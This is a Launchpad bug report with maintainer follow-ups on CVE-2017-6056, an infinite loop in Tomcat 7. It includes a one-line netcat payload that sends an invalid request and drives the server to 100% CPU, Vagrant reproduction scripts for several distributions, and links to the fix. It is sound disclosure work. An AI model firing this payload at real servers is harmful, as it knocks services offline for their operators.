Ubuntu
tomcat7 package

Tomcat 7 keeps using 100% CPU after sending an invalid HTTP request

Bug #1663318 reported by Hernán Lucas Pereira on 2017-02-09

260

This bug affects 1 person

Affects		Status	Importance	Assigned to	Milestone
	Debian	Fix Released	Unknown	debbugs #851304
	tomcat7 (Ubuntu)	Fix Released	Undecided	Unassigned

Bug Description

I've been noticing during the last week that java process was using 100% CPU and after upgrading twice already the bug persisted. After keeping tcpdump in the background for about two days I managed to find the payload that triggers this bug.

To reproduce use the following command: printf "\0x05\0x02\0x00\0x02" | nc host_here 8080

The more times you send the payload, the more CPU will be used as can be seen on my quad core system below (please note this can be exploited remotely, I'm doing it from the server itself for clarity):

--------------------------------------

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty

$ sudo service tomcat7 restart
* Stopping Tomcat servlet engine tomcat7 [ OK ]
* Starting Tomcat servlet engine tomcat7 [ OK ]

$ top -bn2 | awk '/^top/{i++}i>1' | head
top - 16:24:10 up 3:28, 1 user, load average: 0.33, 0.12, 0.27
Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.1 us, 0.3 sy, 0.0 ni, 99.3 id, 0.2 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 387092 used, 1658892 free, 28096 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem

  PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
   43 root 20 0 0 0 0 S 1.0 0.0 0:42.37 kworker/3:1
    1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init
    2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd

$ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 09 Feb 2017 19:24:18 GMT
Connection: close

top - 16:24:26 up 3:28, 1 user, load average: 0.41, 0.15, 0.28
Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie
%Cpu(s): 25.1 us, 0.1 sy, 0.0 ni, 74.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 388316 used, 1657668 free, 28112 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 100.1 6.3 0:29.59 java
1047 root 20 0 19196 2056 1828 S 0.3 0.1 0:00.63 irqbalance
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init

top - 16:24:37 up 3:28, 1 user, load average: 0.65, 0.21, 0.29
Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie
%Cpu(s): 50.0 us, 0.0 sy, 0.0 ni, 49.9 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 388484 used, 1657500 free, 28128 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152380 cached Mem

  PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 199.9 6.3 0:47.96 java
    7 root 20 0 0 0 0 S 0.3 0.0 0:02.07 rcu_sched
    1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init

top - 16:24:47 up 3:28, 1 user, load average: 1.01, 0.31, 0.32
Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie
%Cpu(s): 75.1 us, 0.1 sy, 0.0 ni, 24.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 389984 used, 1656000 free, 28136 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem

  PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 300.0 6.3 1:16.73 java
    1 root 20 0 33480 4008 2640 S 0.3 0.2 0:01.22 init
   41 root 20 0 0 0 0 S 0.3 0.0 0:00.54 kworker/1:1

top - 16:24:57 up 3:28, 1 user, load average: 1.47, 0.43, 0.36
Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 390632 used, 1655352 free, 28152 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem

  PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2110000 129552 18504 S 399.1 6.3 1:54.82 java
    1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init
    2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd

$ sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head
top - 16:30:24 up 3:34, 1 user, load average: 3.99, 2.81, 1.46
Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 397628 used, 1648356 free, 28392 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152400 cached Mem

  PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2110000 139104 18504 S 400.0 6.8 23:42.48 java
    1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init
    2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd

--------------------------------------

Please let me know if I can assist you solving this problem. I'll probably upgrade to Ubuntu 16.04 LTS next week which hopefully it won't be vulnerable to this bug.

Thanks

See original description

CVE References

2017-6056

Revision history for this message

Hernán Lucas Pereira (hpereira83) wrote on 2017-02-09:

I've updated the demonstration above since previously top was reporting incorrect overall CPU usage. Also added one extra sample 5 minutes later to show that it keeps going like that despite no other request was made.

description:

updated

Revision history for this message

Seth Arnold (seth-arnold) wrote on 2017-02-09:

Thanks Hernán, I've mailed the Tomcat security team for feedback. This is a superb report.

For what it's worth I'd expect Tomcat 7 to have the same problem regardless of Ubuntu release. I can't speculate about Tomcat 8 sharing the flaw, however.

Thanks

Revision history for this message

Seth Arnold (seth-arnold) wrote on 2017-02-11:

Hernán, the Apache security team tested a bunch of versions without successfully reproducing your issue. Do you have site-local configuration changes that would assist in reproducing?

I'm sorry to say I've never deployed a Tomcat application so reproducing this myself may take a while, and perhaps more of your time to suggest an easy way to get this reproduced.

Thanks

Revision history for this message

Hernán Lucas Pereira (hpereira83) wrote on 2017-02-11:

Terminal output running the script Edit (41.8 KiB, text/plain)

Hi Seth,

If you can install VirtualBox and Vagrant then the following script should reproduce the problem:

mkdir ubuntu-14.04-vagrant; \
cd ubuntu-14.04-vagrant; \
vagrant init ubuntu/trusty64; \
vagrant box update; \
vagrant up --provider virtualbox; \
vagrant ssh -c "sudo apt-get update; sudo apt-get -y dist-upgrade; sudo reboot"; \
sleep 30s; \
vagrant ssh -c "sudo apt-get -y install tomcat7; lsb_release -a; sudo service tomcat7 restart"; \
vagrant ssh -c "top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "printf '\x05\x02\x00\x02' | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant halt

I'm attaching the output of my terminal just in case.

BTW, in preparing this I've noticed I made an incorrect use of printf in my initial report, I meant to send 05 02 00 02 in binary (as it appears in my pcap file), not literally "\0x05\0x02\0x00\0x02" (without quotes). Seems that this exact payload is not required to exploit the bug then, probably any invalid request will do.

Thanks for taking a look into my report.

Revision history for this message

Hernán Lucas Pereira (hpereira83) wrote on 2017-02-12:

terminal-xenial.txt Edit (34.5 KiB, text/plain)

Ubuntu Xenial is not vulnerable to this problem, or at least is not reproducible with this script:

mkdir ubuntu-16.04-vagrant; \
cd ubuntu-16.04-vagrant; \
vagrant init ubuntu/xenial64; \
vagrant box update; \
vagrant up --provider virtualbox; \
vagrant ssh -c "sudo apt-get update; sudo apt-get -y dist-upgrade; sudo reboot"; \
sleep 30s; \
vagrant ssh -c "sudo apt-get -y install tomcat7; lsb_release -a; sudo service tomcat7 restart"; \
vagrant ssh -c "top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "printf '\x05\x02\x00\x02' | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant halt

I replayed today the script I've sent in my earlier comment and it stills reproduce the problem.

Revision history for this message

Mark Thomas (asfmarkt) wrote on 2017-02-12:

This is https://bz.apache.org/bugzilla/show_bug.cgi?id=57544

It wasn't handled as a security issue at the time. I suspect because it wasn't clear what was triggering the loop.

The fix is (for 7.0.x):
http://svn.apache.org/viewvc?view=revision&revision=1657910
http://svn.apache.org/viewvc?view=revision&revision=1658209

This looks like it needs to be reported to the Debian folks. The Debian maintainer for Tomcat has recently been made a Tomcat committer. I'll ping him.

Revision history for this message

Hernán Lucas Pereira (hpereira83) wrote on 2017-02-12:

terminal-jessie.txt Edit (50.6 KiB, text/plain)

Thanks Mark. Here I'm attaching another terminal session testing with debian/jessie which is also vulnerable.

Script used:
mkdir debian-jessie-vagrant; \
cd debian-jessie-vagrant; \
vagrant init debian/jessie64; \
vagrant box update; \
vagrant up --provider virtualbox; \
vagrant ssh -c "sudo apt-get update; sudo apt-get -y dist-upgrade; sudo reboot"; \
sleep 30s; \
vagrant ssh -c "sudo apt-get -y install tomcat7; lsb_release -a; sudo service tomcat7 restart"; \
vagrant ssh -c "top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "printf '\x05\x02\x00\x02' | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant ssh -c "sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head"; \
vagrant halt

Revision history for this message

Seth Arnold (seth-arnold) wrote on 2017-02-13:

Thanks Mark; I made this public as the Debian package has been updated to address the issue.

information type:

Private Security → Public Security

Bug Watch Updater (bug-watch-updater) on 2017-02-13

Changed in debian:
status:	Unknown → Confirmed

Bug Watch Updater (bug-watch-updater) on 2017-02-15

Changed in debian:
status:	Confirmed → Fix Released

Revision history for this message

Launchpad Janitor (janitor) wrote on 2017-02-20:

This bug was fixed in the package tomcat7 - 7.0.52-1ubuntu0.10

---------------
tomcat7 (7.0.52-1ubuntu0.10) trusty-security; urgency=medium

  * SECURITY UPDATE: DoS via CPU consumption (LP: #1663318)
    - debian/patches/CVE-2017-6056.patch: fix infinite loop in
      java/org/apache/coyote/http11/AbstractInputBuffer.java.
    - CVE-2017-6056

-- Marc Deslauriers <email address hidden> Fri, 17 Feb 2017 08:51:12 -0500